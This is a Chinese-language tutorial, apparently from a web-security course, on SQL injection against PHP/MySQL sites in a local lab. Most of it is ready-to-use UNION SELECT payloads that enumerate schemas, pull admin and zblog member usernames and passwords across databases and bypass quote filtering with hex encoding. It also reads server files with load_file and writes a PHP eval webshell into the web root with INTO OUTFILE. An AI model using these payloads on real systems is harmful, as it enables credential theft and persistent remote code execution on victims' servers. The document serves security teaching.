042-WEB攻防-PHP应用MYSQL架构SQL注入跨库查询文件读写权限操作

2024-02-22 13:12
文章标签 sql mysql 应用 查询 操作 php 注入 web 读写 架构 权限 database 攻防 跨库 042

本文主要是介绍042-WEB攻防-PHP应用MYSQL架构SQL注入跨库查询文件读写权限操作，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

042-WEB攻防-PHP应用&MYSQL架构&SQL注入&跨库查询&文件读写&权限操作

#知识点：

1、PHP-MYSQL-SQL注入-常规查询
2、PHP-MYSQL-SQL注入-跨库查询
3、PHP-MYSQL-SQL注入-文件读写

演示案例：

➢PHP-MYSQL-Web组成架构
➢PHP-MYSQL-SQL常规查询
➢PHP-MYSQL-SQL跨库查询
➢PHP-MYSQL-SQL文件读写

MYSQL注入：（目的获取当前web权限）
1、判断常见四个信息（系统，用户，数据库名，版本）
2、根据四个信息去选择方案

  • root用户：先测试读写，后测试获取数据
  • 非root用户：直接测试获取数据

#PHP-MYSQL-Web组成架构

服务器安装MYSQL数据库，搭建多个站点，数据库集中存储MYSQL数据库中管理
可以都使用root用户管理也可以创建多个用户进行每个网站对应的数据库管理

Untitled

1、统一交root用户管理

  • www.zblog.com = zblog = root =>MYSQL
    www.demo01.com = demo01 = root =>MYSQL

Untitled

2、一对一用户管理（推荐)

自己的网站单独创建数据库用户去管理自己的数据库

  • www.zblog.com = zblog = zblog =>MYSQL
    www.demo01.com = demo01 = demo01 =>MYSQL

Untitled

#PHP-MYSQL-SQL常规查询

Untitled

1.SQL注人的概念

原理：接受的参数值未进行过滤直接带入SQL查询的操作
攻击：利用SQL语句执行你想要的东西（SQL语句能干嘛，注人就能干嘛）
SQL语句能干嘛⇒SQL语句由谁决定⇒数据库类型决定〈为什么mysql注入。oracle注人叫法原因）

Untitled

3.相关解释

Untitled

获取相关数据：
1、数据库版本-看是否符合information_schema查询-version()
2、数据库用户-看**是否符合ROOT型注入攻击-user()**
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表，列做准备-database()

MYSQL5.0以上版本：自带的数据库名information_schema

  1. information_schema：存储数据库下的数据库名及表名，列名信息的数据库
  2. information_schema.schemata：记录数据库名信息的表
  3. information_schema.tables：记录表名信息的表
  4. information_schema.columns：记录列名信息表
  5. schema_name：information_schema.schemata记录**数据库名信息的列名值**
  6. table_schema：information_schema.tables记录**数据库名的列名值**
  7. table_name：information_schema.tables记录**表名的列名值**
  8. column_name：information_schema.columns**记录列名的列名值**

2.SQL注人的流程：获取数据→一步一步得到信息

  1. order by 6：这是一个排序语句，指示按照第6列进行排序。

    1. 实战中，需要进行判断注入的列名有几个。

    2. 有的话页面正常执行

    3. 没有即会报错

    4. 如：该表存在6列，输入7后会报错

      Untitled

      Untitled

  2. union select 1,2,3,4,5,6：这是一个UNION查询，用于将多个SELECT语句的结果合并在一起。在这个例子中，它选择了6个列，每个SELECT语句都返回常量值。

    1. 发现执行后回显的数据：分别出现在网页署名（2），正标题（4），副标题（4），次标题（5）
    2. 如果没有回显数据，则在查询id加入负号即可http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,4,5,6
    3. 查找回显的作用：可以判断后期注入查询返回的数据，可以在页面中显示出来；

    Untitled

  3. union select 1,2,3,database(),user(),6：这个UNION查询选择了6个列，并在第4列返回数据库名称，第5列返回当前用户，其他列返回常量值。

    Untitled

  4. union select 1,2,3,version(),@@version_compile_os,6：这个UNION查询选择了6个列，并在第4列返回数据库版本，第5列返回操作系统信息，其他列返回常量值。

    1. 返回数据库版本原因：MYSQL5.0以上版本：自带的数据库名information_schema（只有5.0以上的版本才可以实行下一步查询）
    2. 返回操作系统信息原因：如果是Linux系统对于后面的查询信息，大小写特定敏感

    Untitled

  5. union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'：这个UNION查询选择了6个列，并从information_schema.tables表中返回指定数据库（demo01）中的所有表名的组合字符串。

    Untitled

    1. information_schema.tables表记录表名信息的表
    2. table_schema：information_schema.tables记录**数据库名的列名值**
    3. table_name：information_schema.tables记录**表名的列名值**

    Untitled

    Untitled

    Untitled

  6. union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin'：这个UNION查询选择了6个列，并从information_schema.columns表中返回指定表（admin）中的所有列名的组合字符串。

    Untitled

    1. information_schema.columns 记录列名信息表

    2. table_name：information_schema.tables记录**表名的列名值**

    3. column_name：information_schema.columns**记录列名的列名值**

      Untitled

    Untitled

    Untitled

  7. union select 1,2,3,username,password,6 from admin limit 0,1：这个UNION查询选择了6个列，并从admin表中返回第一行记录的用户名和密码。

    Untitled

Untitled

#PHP-MYSQL-SQL跨库查询

1.SQL跨库查询：通过B网站的注入点获取A网站的账号和密码

Untitled

2.影响条件：当前数据库ROOT用户权限

Untitled

3.跨库查询顺序

测试不同数据库用户：root demo

  1. union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata: 通过 information_schema.schemata 表获取所有数据库的名称，并将这些名称连接成一个字符串。

    Untitled

  2. union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='zblog': 通过 information_schema.tables 表获取 ‘zblog’ 数据库中所有表的名称，并将这些名称连接成一个字符串。

    Untitled

  3. union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='zbp_member' and table_schema='zblog': 通过 information_schema.columns 表获取 ‘zblog’ 数据库中 ‘zbp_member’ 表的所有列名，并将这些列名连接成一个字符串。

    Untitled

  4. union select 1,2,3,mem_Name,mem_Password,6 from **zblog.zbp_member**: 尝试从 ‘zblog’ 数据库的 ‘zbp_member’ 表中选择 mem_Name 和 mem_Password 列的数据，限制结果集为一个行。

    Untitled

4.注意事项

  • 注意：由于是跨库操作，在此刻必须指明是哪个数据库的表名

    1. from **zblog.zbp_member**:
    2. 不然会进行报错
    3. 表示 mysqli_query 返回的结果不是有效的 mysqli_result 对象，而是布尔值 false，可能是由于 SQL 查询执行失败。

    Untitled

  • 必须数据库权限是ROOT用户权限→才可以进行跨库

    • 如下文件数据库配置则代表是最高权限ROOT用户权限

    Untitled

    • 如果是其他数据库的权限
      • 只能看到该数据库用户下管理的表
    • 无法执行跨库

    Untitled

    Untitled

Untitled

Untitled

  • 解决：单引号过滤绕过方式

    • SQL注入语句使用单引号就不要编码，编码就不用单引号（路径，表名，数据库名等）注意：在编码后执行SQL注入时候要在编码前加0x

    • 当在编码后执行SQL注入时，如果要将编码后的Payload作为十六进制值直接传递给SQL语句，需要在编码前添加0x前缀。这是因为在许多DBMS中，0x前缀用于指示后续的字符串是十六进制值。

    • Hex编码（十六进制编码）是一种将数据转换为十六进制数字表示的编码方式。这种编码方式广泛用于表示二进制数据，例如在网络通信、编码传输、调试和数据存储中。

      Untitled

    Untitled

#PHP-MYSQL-SQL文件读写

1.影响条件：（必要条件）

  1. 当前数据库用户权限→必须是root用户

    Untitled

  2. secure-file-priv设置→默认关闭，必须添加到MYsql的配置文件my.ini中

  • G:\develop\safety\phpstudy_pro\Extensions\MySQL5.7.26*my.ini*

    Untitled

    • secure_file_priv 是 MySQL 数据库中的一个系统变量，用于限制使用 LOAD DATA INFILE 和 SELECT ... INTO OUTFILE 语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性，防止用户滥用这些语句导致的文件系统访问。

      • 如果设置了这个变量，MySQL 将仅允许在指定的路径下进行文件的读取和写入操作。
      • 如果没有设置，MySQL 将默认使用空值，表示禁用 LOAD DATA INFILE 和 SELECT ... INTO OUTFILE。

    • 例如，如果 secure_file_priv 被设置为 f:\\，那么在执行 LOAD DATA INFILE 或 SELECT ... INTO OUTFILE 时，只允许读写位于 f:\\ 目录下的文件。

      Untitled

      Untitled

      Untitled

2.进行测试

测试不同数据库用户：root demo

  1. union select 1,load_file(‘d:\1.txt’),3,4,5,6这个部分尝试使用 MySQL 的 load_file 函数加载本地文件 ‘d:\1.txt’ 的内容，并将其作为查询结果的一部分返回。

    Untitled

  2. union select 1,‘xiaodi’,3,4,5,6 into outfile ‘d:\2.txt’

    • 将查询结果写入一个文件 ‘d:\2.txt’。

      • 这个查询也是一种尝试，试图将查询结果写入到指定的文件中。
      • 成功写入

      Untitled

      Untitled

  3. union select 1,2,3,'<?php eval($_POST[x]);?>',5,6 into outfile **'G:\\develop\\safety\\phpstudy_pro\\WWW\\dome01\\xiaodi.php’** 将木马文件写入网站源码目录，方便获取权限

    • **<?php eval($_POST[x]);?>**这是一个PHP代码片段，它使用eval()函数执行传递给$_POST[x]的代码。这段代码的含义是，它将执行$_POST[x]参数中包含的任意代码。
    • into outfile 'G:\\develop\\safety\\phpstudy_pro\\WWW\\dome01\\xiaodi.php': 这是将木马文件写入网站源码目录，指定了写入的路径和文件名。

Untitled

3.读写的路径的问题：

1、报错显示获取路径

Untitled

2、phpinfo页面泄漏

Untitled

Untitled

如果不知道路径思路：
用常见的默认的中间件，数据库等安装路径读取有价值信息

load_file()常用路径：load_file()常用路径_load file 目录-CSDN博客

Untitled

这篇关于042-WEB攻防-PHP应用MYSQL架构SQL注入跨库查询文件读写权限操作的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/735361。

相关文章

Spring Security 基于表达式的权限控制

Spring Security 基于表达式的权限控制

前言 spring security 3.0已经可以使用spring el表达式来控制授权，允许在表达式中使用复杂的布尔逻辑来控制访问的权限。 常见的表达式 Spring Security可用表达式对象的基类是SecurityExpressionRoot。 表达式描述hasRole([role])用户拥有制定的角色时返回true （Spring security默认会带有ROLE_前缀）,去
阅读更多...
mybatis的整体架构

mybatis的整体架构

mybatis的整体架构分为三层： 1.基础支持层 该层包括：数据源模块、事务管理模块、缓存模块、Binding模块、反射模块、类型转换模块、日志模块、资源加载模块、解析器模块 2.核心处理层 该层包括：配置解析、参数映射、SQL解析、SQL执行、结果集映射、插件 3.接口层 该层包括：SqlSession 基础支持层 该层保护mybatis的基础模块，它们为核心处理层提供了良好的支撑。
阅读更多...
SQL中的外键约束

SQL中的外键约束

外键约束用于表示两张表中的指标连接关系。外键约束的作用主要有以下三点： 1.确保子表中的某个字段（外键）只能引用父表中的有效记录2.主表中的列被删除时，子表中的关联列也会被删除3.主表中的列更新时，子表中的关联元素也会被更新 子表中的元素指向主表 以下是一个外键约束的实例展示
阅读更多...
基于MySQL Binlog的Elasticsearch数据同步实践

基于MySQL Binlog的Elasticsearch数据同步实践

一、为什么要做 随着马蜂窝的逐渐发展，我们的业务数据越来越多，单纯使用 MySQL 已经不能满足我们的数据查询需求，例如对于商品、订单等数据的多维度检索。 使用 Elasticsearch 存储业务数据可以很好的解决我们业务中的搜索需求。而数据进行异构存储后，随之而来的就是数据同步的问题。 二、现有方法及问题 对于数据同步，我们目前的解决方案是建立数据中间表。把需要检索的业务数据，统一放到一张M
阅读更多...
百度/小米/滴滴/京东，中台架构比较

百度/小米/滴滴/京东，中台架构比较

小米中台建设实践 01 小米的三大中台建设：业务+数据+技术 业务中台--从业务说起 在中台建设中，需要规范化的服务接口、一致整合化的数据、容器化的技术组件以及弹性的基础设施。并结合业务情况，判定是否真的需要中台。 小米参考了业界优秀的案例包括移动中台、数据中台、业务中台、技术中台等，再结合其业务发展历程及业务现状，整理了中台架构的核心方法论，一是企业如何共享服务，二是如何为业务提供便利。
阅读更多...
如何去写一手好SQL

如何去写一手好SQL

MySQL性能 最大数据量 抛开数据量和并发数，谈性能都是耍流氓。MySQL没有限制单表最大记录数，它取决于操作系统对文件大小的限制。 《阿里巴巴Java开发手册》提出单表行数超过500万行或者单表容量超过2GB，才推荐分库分表。性能由综合因素决定，抛开业务复杂度，影响程度依次是硬件配置、MySQL配置、数据表设计、索引优化。500万这个值仅供参考，并非铁律。 博主曾经操作过超过4亿行数据
阅读更多...
中文分词jieba库的使用与实景应用（一）

中文分词jieba库的使用与实景应用（一）

知识星球：https://articles.zsxq.com/id_fxvgc803qmr2.html 目录 一.定义： 精确模式（默认模式）： 全模式： 搜索引擎模式： paddle 模式（基于深度学习的分词模式）： 二 自定义词典 三.文本解析   调整词出现的频率 四. 关键词提取 A. 基于TF-IDF算法的关键词提取 B. 基于TextRank算法的关键词提取
阅读更多...
水位雨量在线监测系统概述及应用介绍

水位雨量在线监测系统概述及应用介绍

在当今社会，随着科技的飞速发展，各种智能监测系统已成为保障公共安全、促进资源管理和环境保护的重要工具。其中，水位雨量在线监测系统作为自然灾害预警、水资源管理及水利工程运行的关键技术，其重要性不言而喻。 一、水位雨量在线监测系统的基本原理 水位雨量在线监测系统主要由数据采集单元、数据传输网络、数据处理中心及用户终端四大部分构成，形成了一个完整的闭环系统。 数据采集单元：这是系统的“眼睛”，
阅读更多...
10. 文件的读写

10. 文件的读写

10.1 文本文件 操作文件三大类： ofstream:写操作ifstream:读操作fstream:读写操作 打开方式解释ios::in为了读文件而打开文件ios::out为了写文件而打开文件，如果当前文件存在则清空当前文件在写入ios::app追加方式写文件ios::trunc如果文件存在先删除，在创建ios::ate打开文件之后令读写位置移至文件尾端ios::binary二进制方式
阅读更多...
性能分析之MySQL索引实战案例

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题，本文将一起从代码层去分析为什么没有建立索引？ 开源ERP项目地址：https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2